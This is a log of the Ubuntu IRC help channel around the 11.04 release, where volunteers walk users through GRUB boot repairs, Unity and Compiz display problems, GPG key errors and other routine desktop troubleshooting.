[02:41] <escott> BKTech86, bios could mess things up but the bios shouldn't mess with the bootloader loading
[02:41] <BKTech86> escott: theres like a swap partition
[02:41] <escott> BKTech86, and swap as /dev/sda4 or /dev/sda6 or so
[02:41] <plummerb> I have to say, I like Ubuntu Classic much better than the new one...
[02:41] <BKTech86> escott: sda2 is like a folder that holds sda5 and sda ...
[02:42] <BKTech86> escott: some others
[02:42] <Desqwewehyhg> i need to run a couple of lines on terminal, at the start of Ubuntu ? How do i do that?
[02:42] <escott> BKTech86, yeah sounds normal
[02:42] <BKTech86> escott: sda2 is extended sda5 is ext4
[02:42] <robin0800> plummerb, I like unity 2d
[02:42] <Dr_Willis> Desqwewehyhg:  at boot time.. (no X needed>?) or when a usewr logs in?
[02:42] <kanuha> Is there a way to change the highlight color on the login screen?
[02:42] <plummerb> Robin: I don't appear to have that option at login...  :(
[02:42] <escott> BKTech86, so you don't get anything from grub. its like it never starts
[02:43] <BKTech86> escott: yeah exactly, the machine doesn't recognize my hard disk as bootable
[02:43] <Desqwewehyhg> Dr_Willis: it is for fixing the resolution
[02:43] <plummerb> Just getting my desktop back to normal would be all I need....
[02:43] <Desqwewehyhg> xrandr --addmode ... and other
[02:43] <Saamm> ok can someone tell me if this is happening to anyone else? Software Center Shows 0 Rating for Chromium...But when click on more info it shows 121 raqting...
[02:43] <[thor]> kanuha: your desktop's theme settings will determine the color/shape/etc of the login screen
[02:43] <escott> BKTech86, shouldn't matter but you could toggle the bootable flag on some partitions (namely 1 and 5
[02:43] <Dr_Willis> Desqwewehyhg:  for a single user. theres the Autorun directory in .config  (I think thats where its at now)
[02:43] <Dr_Willis> !autorun
[02:44] <Dr_Willis> !autostart
[02:44] <BKTech86> escott: with what
[02:44] <ubottu> To add programs to start up when you log into your Gnome session go to System>Preferences>Sessions and use the Startup Programs tab. For more information, see https://help.ubuntu.com/community/AddingProgramToSessionStartup - See !boot for starting non-interactive programs at boot
[02:44] <robin0800> plummerb, you have to install it ubuntu put classic in instead it will be in the next one i believe
[02:44] <escott> BKTech86, fdisk /dev/sda
[02:44] <Desqwewehyhg> but it is needed for all users
[02:44] <escott> BKTech86, i think bootable flag is "a" and then "w" to write the changes (don't touch anything else though)
[02:44] <plummerb> Ah, Unity didn't come with the update?
[02:44] <MadDecent> anyone know much about getting hdmi out to work on my netbook? I have a asus eeepc 1015n
[02:44] <Dr_Willis> Theres a system wide autostart dir also i belive.
[02:45] <BKTech86> escott: i'm looking at my ext4 partition in disk utility
[02:45] <h3iko> morning guys
[02:45] <BKTech86> escott: and i went to "Edit partition" and the bootable check box is not ticked
[02:45] <h3iko> anyone speak german in here?
[02:45] <escott> BKTech86, the bootable flag shouldn't matter to grub, but it cant hurt
[02:45] <BKTech86> escott: not to grub, but to the bios right?
[02:45] <raymondjtoth> bazhang: see any thing
[02:45] <Desqwewehyhg> Dr_Willis: maybe with a script on etc/init/ ????
[02:46] <robin0800> plummerb, unity 3d did 2d didn't
[02:46] <kanuha> thur, I changed the theme and changed the colors in the themes, but the highlight color is still orange on the login screen
[02:46] <BKTech86> escott: sda1 is marked as bootable
[02:46] <escott> BKTech86, yeah but the bios starts grub, it shouldn't even touch the partitions so it really shouldn't matter
[02:46] <h3iko> can someone please explain me what an GPG Failure is???
[02:46] <bazhang> !gpgerr | h3iko
[02:46] <ubottu> h3iko: Getting GPG errors after adding custom repositories? Find the GPG keyword for the repository (it's 437D05B5 for the standard ones) and run « sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com <key> »
[02:46] <BKTech86> escott: isn't grub installed on the disk?
[02:46] <Guest40708> Hi guys
[02:47] <bazhang> h3iko, signing error on the package
[02:47] <escott> BKTech86, thats what we just did, putting grub in the mbr
[02:47] <[thor]> kanuha: have you tried downloading gdm2setup?
[02:47] <BKTech86> escott: where is the mbr in the bios?
[02:47] <alex_> How do I open multiple terminals?
[02:47] <[thor]> kanuha: i'm not sure if it is in the repos, but it is on launchpad
[02:47] <alex_> Ubuntu 11.04 in Gnome 3
[02:47] <plummerb> So is Unity a Desktop Manager or a new X server?
[02:47] <escott> BKTech86, mbr is the first 512 bytes of the disk, not on the mbr
[02:47] <escott> not in the bios
[02:48] <h3iko> i've been told that my public key is not available...
[02:48] <PalinBachman2012> unity is a compiz plugin
[02:48] <Barzogh>     alex_  CTRL + ALT + T
[02:48] <alex_> Barzogh, cool, thanks
[02:48] <BKTech86> escott: but it seems like the problem is that the bios doesn't even try to look at grub
[02:48] <Barzogh> yw
[02:48] <BKTech86> escott: btw, this disk utility is hanging in applying those bootable flags
[02:48] <BKTech86> escott: any idea why?
[02:48] <BKTech86> escott: none of the partitions are mounted
[02:49] <escott> bios starts the mbr, mbr scans partition table, looks for the /boot partition, then starts running os. so bios is out of the picture as soon as grub starts
[02:49] <escott> BKTech86, don't know i generally don't use the gui
[02:49] <BKTech86> escott: do you know how from cli?
[02:50] <kanuha> thor, yeah dependencies not satisfiable
[02:50] <escott> BKTech86, fdisk /dev/sda "a" is the bootable flag "w" to write changes
[02:50] <kanuha> thor, it seems the ppa is broken for gdm2
[02:50] <scorch_> what package do i install to get all of the dvd and music codecs?
[02:50] <scorch_> or does it alreay come with natty
[02:51] <escott> BKTech86, what is your hardware?
[02:51] <BKTech86> escott: all of it?
[02:51] <aeon-ltd> !restricted | scorch_
[02:51] <ubottu> scorch_: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[02:51] <gruyen> i am getting an error mounting one of my drives - "one or more block devices is holding /dev/sdc1" ...ideas?
[02:51] <[thor]> kanuha: :/ sorry friend, no idea about that.
[02:51] <BKTech86> escott: i have an intel core2 duo, sort of old intel motherboard,
[02:51] <tase> what was the reason Ubuntu switched from OpenOffice to LibreOffice ?
[02:52] <escott> BKTech86, just wondering if there was anything exotic sounds there isnt
[02:52] <kanuha> thor, no problem thx for trying
[02:52] <hiexpo> !libreoffice
[02:52] <ubottu> Current stable releases of Ubuntu use OpenOffice.org, and do not have supported packaging for LibreOffice. Ubuntu developers are working on packaging for Ubuntu Natty and backports for 10.10 and 10.04. See https://lists.ubuntu.com/archives/ubuntu-devel/2011-January/032298.html for more information on progress and an unstable, unsupported PPA.
[02:52] <Dr_Willis> tase:  due to the way Openoffice was being handled by Sun (and the company that now owns sun)
[02:52] <h3iko> bazhang - this means? could be caused by wine?
[02:52] <Dr_Willis> Factoid is out of dat4e now it seems. :)
[02:53] <escott> BKTech86, and its only the one disk right
[02:53] <[thor]> kanuha: you can always download & make the source
[02:53] <BKTech86> escott: yes 1 disk
[02:53] <tase> cool, ty Dr_Willis
[02:53] <stravant> ohsix: Is it possible to use amixer to set the muted state in a similar way to the GUI sound control? I looked up how to mute stuff from the command line but everything points to using "amixer sset "Master" toggle", however it appears I have no "Master" in amixer, just: http://pastebin.com/rMKUaexL
[02:53] <[thor]> kanuha: very painless
[02:53] <badraven> Hello
[02:54] <BKTech86> escott: how can i take off the bootable flag from a partition
[02:54] <OY1R> can anyone help me fix this boot up problem, i cannot boot Ubuntu 10.10 >  http://paste.ubuntu.com/600969/
[02:54] <escott> BKTech86, its a toggle
[02:54] <cuddlefish> 11.04 is not compatible with my GPU
[02:54] <cuddlefish> sure wish it had told me that before I installed it...
[02:54] <carandraug> BKTech86, you can do it with cfdisk I think
[02:54] <steelgeek> quit
[02:54] <plummerb> Ok...  I guess my issue is not with Unity...  After upgrading to Ubuntu 11.04 my desktop icons are ENORMOUS and I can no longer click on them.
[02:54] <Kibo> Kevin147: It was a LOT of work and wait, but it worked. Natty Narwhal is running... ;) Thanks again!
[02:54] <scarra3> I'm having trouble deciding if I should stay with 11.04 or go back to windows
[02:55] <badraven> Can someone direct me to info about installing Windows along side ubuntu after unbuntu is installed?
[02:55] <carandraug> BKTech86, just do "sudo cfdisk /path-to-device" and be careful to just change the bootable flag
[02:55] <cuddlefish> well, my computer's basically a brick now
[02:55] <Kevin147> Kibo: Sweet!! Glad its working! np :)
[02:55] <cuddlefish> :(
[02:55] <escott> BKTech86, so when you reboot it just blinks at you?
[02:55] <BKTech86> carandraug: i did sudo fdisk /dev/sda; a; 5; w;
[02:55] <carandraug> cuddlefish, that's why there's LiveCD
[02:56] <hiexpo> badraven, it needs to be windoz first
[02:56] <carandraug> BKTech86, did it work?
[02:56] <cuddlefish> carandraug: it works on the LiveCD
[02:56] <badraven> I was hoping it wasn't going to be like that.
[02:56] <cuddlefish> carandraug: but after about 5 minutes of runtime
[02:56] <Dr_Willis> !fixgrub | badraven
[02:56] <ubottu> badraven: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[02:56] <Gatorade> help, when trying to install wubi on my friends computer, pyrun yells at me. What can I do?
[02:56] <BKTech86> carandraug: it said unable to reload device settings or something like that -- new table will be used at reboot
[02:56] <BKTech86> just booted into ubuntu.......
[02:56] <Dr_Willis> badraven:  install windows to whatever free partions you have ready for it. reinstall grub loader.
[02:56] <plummerb> Ah HA!  I figured it out.  I'm using two monitors.  When I have both monitors on my desktop is stretched across both and no longer works correctly...
[02:57] <cuddlefish> carandraug: the screen is covered in horizontal lines. after that, all windows don't redraw
[02:57] <BKTech86> FINALLY --
[02:57] <badraven> What about booting from a second hard drive that is set up as the boot drive.  Then I would choose what drive to boot from.
[02:57] <Dr_Willis> badraven:  you can make a rescue-grub booting flash drive. to make that 2nd task a littl easier.
[02:57] <Dr_Willis> badraven:  thats how i do it. each os has its own HD.
[02:57] <BKTech86> escott: i didn't even have a chance to see if grub showed up
[02:57] <escott> BKTech86, so its working now?
[02:57] <Dr_Willis> badraven:  making sure windows does NOT write to the wrong MBR may be the problem. You could just Unplug the linux HD.
[02:57] <carandraug> cuddlefish, sorry about your bad experience. Can't help you with it, I only have a integrated intel graphic cards 8 years old
[02:57] <BKTech86> escott: yep, it shows up, and the windows option is there too
[02:57] <cuddlefish> carandraug: me too :(
[02:57] <BKTech86> phew
[02:57] <plummerb> When I just have one monitor on the desktop displays correctly.
[02:57] <carandraug> BKTech86, so what's the problem now?
[02:58] <badraven> Thanks Dr willins,  where can I get some info that covers that?
[02:58] <BKTech86> carandraug: problem . finally. solved.
[02:58] <Dr_Willis> plummerb:  there seems to be known issues on unity and 2+ monitors.
[02:58] <carandraug> BKTech86, ok. Good to know
[02:58] <BKTech86> thank you sooooo much both of you...
[02:58] <raymondjtoth> bazhang: you still here
[02:58] <AndroUser> Hi guy I heard you could run all the.windows apps and android apps on ubuntu so I got it. Now how do I install all my windowd and android alls
[02:58] <Dr_Willis> badraven:  if you Unplug the linux hd.. then you just install windows normally. No special stuff needed.
[02:58] <plummerb> Dr: There does eh?
[02:58] <escott> im getting really confused by all these grub boot failures. seems if you fiddle with the partition table things start to magically work. anyone else noticed that?
[02:58] <carandraug> AndroUser, you heard wrong
[02:58] <Dr_Willis> AndroUser:  i think you have heard wrong. WINE lets you run MANY windows apps.. as for android apps.  we...
[02:59] <Dr_Willis> AndroUser:  theres proberly some ways to  do it. in an emulator or somthing.
[02:59] <BKTech86> escott: i don't think the bios even attempted to access the mbr because the partition wasn't marked as bootable?
[02:59] <escott> hhjjff, you can get the android emulator
[02:59] <BKTech86> escott: of course i am way in over my head lol
[02:59] <badraven> Ok, thank you.
[03:00] <kaushal> hi
[03:00] <escott> BKTech86, bioses can do weird things... although it shouldn't be doing that
[03:00] <[thor]> Dr_Willis/hhjjff: the android emulator is basically a VM
[03:00] <escott> hhjjff, but its a developer tool not a "I want to use this as a real app" tool
[03:00] <kaushal> is there a way to know the speed of a USB Mobile Broadband 3G GSM ?
[03:01] <hiexpo> kaushal, go to speedtest.net or speakeasy
[03:01] <jprobe> Hi, all, does anyone know where I can get ahold of an AMD64 Lucid torrent?  It's not on the ubuntu.com website.  =(
[03:01] <kaushal> hiexpo: i know it
[03:02] <kaushal> from the desktop
[03:02] <uhuhuh> Hello, how can I configure my application panel? I want to delete some items from it.
[03:02] <escott> jprobe, doubt there are any seeds
[03:02] <hiexpo> kaushal, speedometer
[03:02] <hhjjff> Hi guys
[03:02] <carandraug> jprobe, you sure? Try a torrent search engine. Yous hould be able to find it on isohunt
[03:02] <keithclark> I have just installed xmame and gmameui and upon starting it is asking where the mame executables are.  I have no idea where to find them!
[03:03] <hiexpo> !xmame
[03:03] <DK_2> Hi all! Do "bisigi themes" work in natty 11.04? theres no repo past maverick and wondered about being gnome based or something.
[03:03] <[thor]> keithclark: in a terminal window "locate <searchterm>"
[03:04] <Juest> hi
[03:04] <carandraug> jprobe, I just searched therer and found it. You want the desktop, server or alternate version?
[03:04] <escott> keithclark, or `which mame`
[03:04] <kaushal> hiexpo: http://pastebin.ubuntu.com/601100/
[03:05] <uhuhuh> Hello, I installed a windows software with wine. But after I remove it, some icons still left in my system application menu of unity panel. How can I delete them? I'm using 11.04 now. Thanks
[03:05] <Juest> uhuhuh: ask in #ubuntu+1 please
[03:05] <keithclark> [thor], My problem is I have no idea what the 'mame executable' will be named. What extension?
[03:05] <bazhang> Juest, thats not right
[03:05] <[thor]> Juest: 11.04 just rolled out, this is the place to be.
[03:05] <Juest> oh, sorry
[03:05] <Juest> wow!
[03:06] <carandraug> Juest, 11.04 already cmae out. He's asking on the right place
[03:06] <bazhang> Juest, natty has been released so it is supported here in #ubuntu
[03:06] <Juest> also 10.10?
[03:06] <[thor]> keithclark: just try ' mame ' as a searchterm
[03:06] <Juest> don't know, a bit older
[03:06] <uhuhuh> Juest: What do you mean? irc channel #ubuntu+1?
[03:06] <DK_2> #ubuntu+1 is invite only
[03:06] <bazhang> uhuhuh, ignore that
[03:06] <escott> keithclark, it won't have an extension it will just be called mame
[03:06] <Juest> uhuhuh: don't worry, 11.04 supported here, i was wrong
[03:07] <escott> keithclark, or have mame in the name
[03:07] <hiexpo> kaushal, and those are the man pages so wanna know your download speed  sudo speedometer -rx yourinterface
[03:07] <uhuhuh> Oh, thanks. But I still want to know how to solve my problem. Could someone give me some suggestions? Many thanks.
[03:08] <Juest> how do i remove the entire gnome, is a bad one, because i installed gnome3 (no PPAs) and the gnome is unusable
[03:08] <bazhang> uhuhuh, this is classic or unity
[03:08] <escott> uhuhuh, have you deleted your .wine directory
[03:08] <keithclark> [thor], ok, it only brought up an icon file and a file called gmameui.desktop.  Somehow I don't think these are executables
[03:08] <Laggg1> hello
[03:08] <uhuhuh> bazhang: unity
[03:08] <carandraug> uhuhuh, on the previous versions there was a "main menu" on the preferences where you could remove the entries from the menu. Not sure on 11.04 but shouldn't be too diferent
[03:08] <Juest> and i can't remove gnome things
[03:08] <Laggg1> I have upgraded from 10.10 to 11.04 and I have lost my GRUB
[03:08] <Laggg1> Im in a live CD right now
[03:08] <jprobe> carandraug, I see it now.  I was looking to zsync my 11.04 and was looking in the alt download section and didn't see the amd64 10.04 desktop, but apparently it's a main option on the desktop download page.  Thanks!
[03:08] <DK_2> Do "bisigi themes" work in natty 11.04?
[03:08] <Laggg1> I've mounted my SDA1
[03:09] <Laggg1> but I uh, cant seem to go on with the right commands
[03:09] <Juest> where i can edit grub static configuration?
[03:09] <carandraug> jprobe, no problem
[03:09] <Laggg1> chroot isnt working
[03:09] <uhuhuh> carandraug: Yes, I delete it from the main menu in the preferences. But it still in unity panel.
[03:09] <bluefoxicy> does anyone know how to edit file associations
[03:09] <doobien> when i am using compiz, it only lets me select 1 desktop - anybody ever have that problem?
[03:09] <bluefoxicy> I need to permanently and completely remove all references to one
[03:09] <bluefoxicy> particularly, after I upgraded to 11.04, SOMEHOW my system did something retarded
[03:09] <bluefoxicy> and now whenever something attempts to open a folder, it opens WITH VLC
[03:10] <Juest> how do i force compiz to enable anyway?
[03:10] <bluefoxicy> so load old style gnome
[03:10] <Laggg1> Can anyone help me solve this grub_rescue problem since I upgraded to 11.04?
[03:10] <bluefoxicy> places->Home Folder
[03:10] <bluefoxicy> my home folder opens in VLC
[03:10] <bluefoxicy> I cannot find the configuration file contaning this
[03:10] <tase> i created a usb live cd with 2gb of storage for ubuntu 10.10, did apt-get upgrade and now i've run out of space? even if the update size was 256mb downloaded, 55mb taken ?
[03:10] <escott> Laggg1, sudo mkdir /mnt/ubuntu; sudo mount /dev/sda# /mnt/ubuntu; sudo mount /dev/sda# /mnt/ubuntu/boot (if you have a /boot partition); sudo chroot /mnt/ubuntu; sudo grub-install /dev/sda
[03:10] <bobopolos>  i set up a bridge in linux with brctl, i can ping both sides of the bridge from linux, and ping the linux machine from each side, but cant ping accros (from one side of the bridge to the other). any suggestions?
[03:10] <carandraug> uhuhuh, oh! I haven't tried unity yet so can't help you with that. Maybe it'll update the list when you restart unity. Try log out and log back in
[03:10] <Juest> anybody read my iusses?
[03:10] <MadDecent> does anyone know anything about getting HDMI out working on a netbook? I'm on a Asus EeePC 1015N running 11.04
[03:11] <escott> Laggg1, sorry left out two... after mount onto /mnt/ubuntu but before chroot mount --bind /dev /mnt/ubuntu/dev and the same for /proc
[03:11] <uhuhuh> carandraug: Let me try. Thank you.
[03:11] <Juest> why ALSA/Pulseaudio is not working?
[03:11] <Laggg1> escott?
[03:11] <hiexpo> Juest, fast channel right now whatissues you have ?
[03:11] <Laggg1> How would the commands go, proper order?
[03:11] <jorgp> mount proc non /mnt/ubuntu/proc ; mount --rbind /dev /mnt/ubuntu/dev
[03:11] <jorgp> non/none
[03:12] <Juest> hiexpo, may i pm you for iusses?
[03:12] <escott> Laggg1, make the mountpoint, mount the partition (you've done that) bind mount /dev with sudo mount --bind /dev /mnt/ubuntu/dev and /proc sudo mount --bind /proc /mnt/ubuntu/proc then chroot
[03:12] <sancas> hello!!
[03:12] <scorch_> reduce icon size unity desktop????
[03:13] <sancas> i have a problem
[03:13] <scorch_> anyone know how to do that?
[03:13] <delu> Hi, after switching over to Natty, my AWN dock no longer seems to have space reserved for it at the edge of the desktop. When I open or maximize windows, they go under the dock. How can I change the settings so that they avoid the dock? I use Compiz
[03:13] <carandraug> !problem | sancas
[03:13] <ubottu> sancas: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[03:13] <jforman> hi all. i just upgraded to 11.04 on the desktop and i am seeing that whenever i drag a window by the title bar between monitors (i am running dual head with twinview), it always wants to maximize when i release the mounse. how can i turn this behavior off?
[03:13] <hiexpo> Juest, sure
[03:13] <sancas> i configure compiz cube with 11.04 and kabum! my ubuntu die :(
[03:13] <Laggg1> mount point /mnt/ubuntu/dev does not exist
[03:13] <keithclark> Ok, another tact....is there an irc channel for gmameui?
[03:13] <sancas> the windows manager i cant show it
[03:14] <bazhang> !alis | keithclark
[03:14] <ubottu> keithclark: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[03:14] <bitplane> jforman, both behaviours should work together. works for me anyway
[03:14] <escott> Laggg1, you have to adjust that to where you mounted your ubuntu system (check by running mount)
[03:14] <jforman> bitplane: work together meaning, that if i have one, i must have the other? (i want dual monitors, but not the behavior that dragging the title bar maximizes it)
[03:14] <keithclark> bazhang, thanks, searched and none found.
[03:15] <sroy2> Hi - I am using apache to host 2 domains on 127.0.0.1:80 and nginx to reverse proxy them out on my ip 1.2.3.4:80. I was wondering how I had to modify the /etc/hosts to allow both domains to be put on both ips?
[03:15] <jorgp> interesting, unity will not run in a virtualbox?
[03:15] <bitplane> jforman: no I mean if you drag all the way to the left or right you go to the next desktop, if you almost touch the edge you get the Win7 style window half-maximized thing
[03:15] <Laggg1> escott: chroot: failed to run command `/bin/bash': No such file or directory
[03:15] <escott> jorgp, not without guest addiytions
[03:15] <sebsebseb> jorgp: yes it does if set up right
[03:16] <sebsebseb> escott: jorgp no you don't just install the guest additions for it either,  hold on i'll get a proper link or two
[03:16] <sebsebseb> escott: jorgp a proper link
[03:16] <escott> Laggg1, can you pastebin the output of mount and the output of ls /mnt/blah where blah is what the folder where you mounted your ubuntu system
[03:16] <jorgp> thanks
[03:16] <fillayu> what's the package name of the default firefox? I want to upgrade firefox 4.0.1
[03:16] <jforman> bitplane: ahh, think i found my issue... http://ubuntuforums.org/showthread.php?t=1743309. thank goodness. appreciate your help
[03:16] <sebsebseb> jorgp: What's your host OS by the way?
[03:16] <Laggg1> im supposed to do this to the ubuntu system?
[03:16] <heyguise> hey
[03:16] <jorgp> osx
[03:17] <Laggg1> Im doing this to the Win7 HDD
[03:17] <Laggg1> I have two seperate HDDs.
[03:17] <keithclark> Ok, one last try.  Does anyone know how to setup gmameui in Ubuntu?
[03:17] <heyguise> what is zeitgiest-datahub zeitgiest-daemon and zeitgiest-datah
[03:17] <heyguise> ?
[03:17] <Laggg1> Am I supposed to mount the ubuntu HDD?
[03:17] <escott> Laggg1, yes you mount the ubuntu system, chroot into it, and then install grub to the mbr of the disk
[03:18] <sebsebseb> jorgp: ok well follow these instructions and it should work I guess:  http://www.theopensourcerer.com/2011/04/21/ubuntu-natty-in-virtualbox-with-unity/
[03:18] <sebsebseb> http://www.theopensourcerer.com/2011/04/21/ubuntu-natty-in-virtualbox-with-unity/
[03:18] <jorgp> thanks
[03:18] <KM0201> !de | heyguise
[03:18] <ubottu> heyguise: In den meisten ubuntu-Kanälen wird nur Englisch gesprochen. Für deutschsprachige Hilfe besuchen Sie bitte #ubuntu-de, #kubuntu-de, #edubuntu-de oder #ubuntu-at. Geben Sie einfach /join #ubuntu-de ein! Danke für Ihr Verständnis.
[03:18] <brz> Hey -- I installed a program in ubuntu, and messed up the .conf file, so I uninstalled it, and 'rm -r <dir>, to delete old .conf files, now when I install it again via apt-get, the directory is empty, anyone kno why this would be?
[03:18] <sebsebseb> jorgp: ok sure good luck with that,  and I hope you try out quite a few distro's in vm :)
[03:18] <xsinick_laptop> are we getting ubuntu 12  fix for Natty
[03:18] <xsinick_laptop> ?
[03:18] <heyguise> Sorry...  Idont speak german?
[03:19] <KM0201> heyguise: what you posted, looks like german
[03:19] <jorgp> sebsebseb: I have gentoo is working fine, just wanted to try out natty
[03:19] <sebsebseb> jorgp: ok :)
[03:19] <heyguise> its a german word yes. It means spirit of the times...but I'm asking what these processes are because they make me paranoid.
[03:20] <teknowill> the guy was just telling people where channels where
[03:20] <teknowill> de channels
[03:20] <sebsebseb> !!de
[03:20] <ubottu> In den meisten ubuntu-Kanälen wird nur Englisch gesprochen. Für deutschsprachige Hilfe besuchen Sie bitte #ubuntu-de, #kubuntu-de, #edubuntu-de oder #ubuntu-at. Geben Sie einfach /join #ubuntu-de ein! Danke für Ihr Verständnis.
[03:20] <teknowill> german
[03:20] <teknowill> i think it's a bot though, just to help them find it
[03:21] <twoten> Help! I just upgraded to Natty and I've lost all my window borders and decorations - I have clicked away at ccsm and emerald but it will not come up
[03:21] <trism> heyguise: zeitgeist keeps track of recently used files for the unity files and folders lens
[03:21] <sebsebseb> !bot | teknowill
[03:21] <ubottu> teknowill: Hi! I'm #ubuntu's favorite infobot, you can search my brain yourself at http://ubottu.com/factoids.cgi | Usage info: http://ubottu.com/devel/wiki/Plugins | Bot channels and general info: https://wiki.ubuntu.com/IRC/Bots
[03:21] <twoten> I'm using the Ubuntu Classic Gnoem desktop
[03:21] <carandraug> heyguise, I think it allows to search for files based on modification date
[03:21] <trism> heyguise: if you install the gnome-activity-journal and log out/back in you can run it and see what zeitgeist keeps track of
[03:21] <heyguise> Ahh, thank you guys.
[03:21] <heyguise> It looked like a RAT i saw once.
[03:21] <heyguise> so i started to get paranoid
[03:21] <varunvyas> HI, I was trying to upgread to 11.04, after downloading packages it stuck in installing packages and my machine swiched off due to power failure. now when I am trying to upgread it says partial upgread and that to  failing.
[03:21] <varunvyas> please help
[03:22] <cylinc> Hello, is the ubuntu-11.04-desktop-i386.iso can be directly used to make a live usb, just dd if=iso of=/dev/sdb ?
[03:22] <carandraug> heyguise, makes searches faster because it shows first the files and applications you used more frequently on the last times
[03:22] <bitplane> twoten, sounds like Compiz has died. open a command prompt and type "killall compiz; setsid compiz --replace"
[03:22] <xion56> its there more winamp styled gui for ubuntu than audacious and xmms?
[03:22] <xsinick_laptop> is there a new reissuing?
[03:22] <sebsebseb> !imfo celementine
[03:22] <kpoman> hey guys ! I think I solved my issue (fglrx incompatibility) ... how do I enable desktop effects on 11.04 ? they seem disabled
[03:22] <carandraug> xion56, as far as I know no. xmms2 is a completely different thing by the way
[03:23] <sebsebseb> xion56: try clementine yeah the name of that fruit :D
[03:23] <genesis> hi
[03:23] <Spaz_Dynamic> so I've got a headless 10.10 installation, how can I enable another repository (canonical partners specifically) to make sure that java is is the correct version?
[03:23] <bitplane> varunvyas: I recommend archiving your /home/youruser directory and saving it somewhere, then reinstalling from scratch
[03:23] <kpoman> is there somewhere to enable desktop effects ?
[03:23] <sebsebseb> xion56: there's a music player called that, and it's pretty good
[03:23] <escott> kpoman, if it doesn't come back on logout login try unity --replace
[03:23] <mistervinblack> how there.., ca anyone tell me how to install vpn on ubuntu???
[03:23] <bitplane> kpoman, press left super and type ccsm"
[03:24] <bitplane> *ccsm
[03:24] <carandraug> mistervinblack, which one?
[03:24] <xsinick_laptop> is this how ubuntu will be from here on?
[03:24] <Nighthwk> Can anyone tell me on to add widgets on the toolbar on ubuntu 11.0
[03:24] <cylinc> I failed to boot from USB just execute "dd if=ubuntu-11.04-desktop-i386.iso of=/dev/sdb bs=8M",which /dev/sdb1 has been set bootable with fat16 fs
[03:24] <kpoman> bitplane: did that, saw my 4 desktops
[03:24] <[segfault]> My google-fu is weak tonight... anyone know of a quick way to restore my emerald themes after Maverick to Natty upgrade?  running 'emerald --replace' causes a segfault.  :(
[03:24] <sebsebseb> xsinick_laptop: Is what how Ubuntu will be from now on?
[03:24] <mistervinblack> give me the link please, I'm new in ubuntu :)
[03:24] <Spaz_Dynamic> I might also note that I'm connected via PuTTY SSH, if that matters or not
[03:25] <varunvyas> update manager is closing when I click on upgread
[03:25] <xsinick_laptop> nightwk
[03:25] <Nighthwk> yes?
[03:25] <Juest> mistervinblack: READ THE TOPIC!
[03:25] <bitplane> xsinick_laptop: I imagine it will get better, Unity is Canonical's way of making their own desktop experience without having to go through the design by committee method of open source design. so I guess we'll get a slicker desktop experience in future
[03:25] <mistervinblack> okay.., I'm sorry :)
[03:25] <carandraug> mistervinblack, there's several kinds of VPN. And I'm assuming you want to connect to someplace through VPN and not install a VPN server yourself
[03:25] <xsinick_laptop> you can not add  widgets
[03:25] <bitplane> if you don't like it then go back to gnome desktop manager or install kubuntu
[03:25] <loculinux> h
[03:25] <izinucs> Spaz_Dynamic: check out /etc/sources.list or sources.lst.. forgot.. that's where your repos are listed.. it should be there but commented out.. just remove the comments
[03:25] <Nighthwk> So they took it out?
[03:25] <sebsebseb> heyguise: or the Gnome ppa or something :D
[03:26] <sebsebseb> uh competly wrong one
[03:26] <sebsebseb> bitplane: or the Gnome 3 ppa or something
[03:26] <kpoman> bitplane: see here: http://www.psychocats.net/ubuntu/desktopeffects ... they talk about a visual effects option in appearance. I dont have that option !!!
[03:26] <izinucs> kpoman: in unity?  they are on by default.. install compiz-config-settings-manager and tweek from there.
[03:27] <bitplane> kpoman, use Compiz Config instead. all the options are in there
[03:27] <escott> kpoman, try compiz &
[03:27] <mistervinblack> i see, thanks for your info.., I'm still reading for vpn articles
[03:27] <bitplane> kpoman, if you're using Unity 3d (the default) then you have desktop effects enabled anyway
[03:27] <xsinick_laptop> Anyone here that likes the new Natty is a mac  user or a twitter generation under 20
[03:27] <kpoman> izinucs: I think I dont use unity ... dont know why. I upgraded from 10.10 to 11.04 and dont see any desktop difference apart from no effects
[03:28] <carandraug> !vpn | mistervinblack
[03:28] <ubottu> mistervinblack: For more information on vpn please refer to https://wiki.ubuntu.com/VPN
[03:28] <mistervinblack> whois escott
[03:28] <kpoman> izinucs: is there something to do to get unity ?
[03:28] <Kage> !tx
[03:28] <mistervinblack> thanks ubottu & carandraug
[03:28] <bitplane> xsinick_laptop: yeah and anyone who uses a GUI just can't handle the command line and doesn't have a beard or smell of wee
[03:28] <xsinick_laptop> I like seeing my file menu and it be part of my window
[03:29] <carandraug> mistervinblack, ubottu is a bot. You ask him stuff with commands, for example !vpn and he'll tell you about it
[03:29] <xsinick_laptop> I like adding widgets that show my cpu s and weather realtime
[03:29] <kpoman> oops started unity as root and that stuffed it all
[03:29] <xsinick_laptop> I also like proper dual screen support
[03:29] <sumyunguy> how do I update from 10.10 to natty?
[03:30] <bitplane> xsinick_laptop: what do you mean by "proper dual screen support"?
[03:30] <Delicates> Anyone can recommend a dual-band PCI-Express 802.11n card/chipset that supports both 2.4GHz and 5GHz?
[03:30] <bitplane> xsinick_laptop: I've got 3 screens here, works okay for me (so long as primary output is the leftmost monitor, which is a bug)
[03:30] <IanLiu> I cannot login in my Ubuntu anymore. I select my user, type the password in, but the screen returns to the login. Can anyone help me solving this problem?
[03:30] <xsinick_laptop> sumyunguy:  please do not you will chuck your mouse at you computer screen
[03:30] <mistervinblack> !vpn and he'll tell you about it
[03:30] <sumyunguy> LOL
[03:30] <Sengoku> hey
[03:31] <Sengoku> just hopped on ubuntu 11.. wireless went away
[03:31] <sumyunguy> X: why?
[03:31] <Kage> is there a channel ubuntu kernel issues?
[03:31] <xsinick_laptop> bitplane:  please install blender and tell me how it behaves for you
[03:31] <Juest> kage, this is the support channel for all
[03:31] <carandraug> mistervinblack, no. Just enter "!vpn"
[03:31] <mistervinblack> ok
[03:32] <bitplane> xsinick_laptop: report any bugs to all relevant parties
[03:32] <mistervinblack> !vpn
